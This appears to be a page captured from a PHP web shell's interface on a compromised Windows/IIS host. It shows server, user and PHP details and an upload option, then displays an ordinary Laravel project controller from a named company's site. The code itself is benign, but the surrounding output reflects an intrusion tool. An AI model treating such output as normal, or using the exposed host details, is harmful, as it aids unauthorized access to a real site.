HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/SBogers54/csbinstallatietechniek.nl/app/Projects/ProjectController.php
<?php

namespace App\Projects;

use App\Base\Controller;
use App\Components\ComponentService;
use App\Projects\Models\Project;

final class ProjectController extends Controller
{
    private $projectService;
    private $projectPaginationKey = 'projectPagination';

    public function __construct(Projectservice $projectService)
    {
        parent::__construct();
        $this->projectService = $projectService;
    }

    /**
     * @return \Illuminate\Contracts\View\View
     */
    public function index()
    {
        $page = $this->links->projects->node;

        $projects = $this->projectService->getProjects();

        // Return view
        return view('templates.projects_index',[
            'page' => $page,
            'links' => $this->links,
            'projects' => $projects,
        ]);
    }


    /**
     * @param Project $project
     * @return \Illuminate\Contracts\View\View
     */
    public function show(Project $project)
    {
        $project->load('translation','translations','products','products.translation', 'reviewImages', 'site');

        $componentService = app(ComponentService::class);
        $components = $componentService->getViewComponents($project->translation);

        // Create previous route for better navigation UX
        $previousRoute = $this->createPreviousRoute($this->projectPaginationKey, $this->links->projects->route);

        // Make language menu for given page
        $page = $this->links->projects->node;

        // Return view
        return view('templates.projects_show',[
            'page' => $page,
            'components' => $components,
            'project' => $project,
            'links' => $this->links,
            'previousRoute' => $previousRoute,
        ]);
    }

}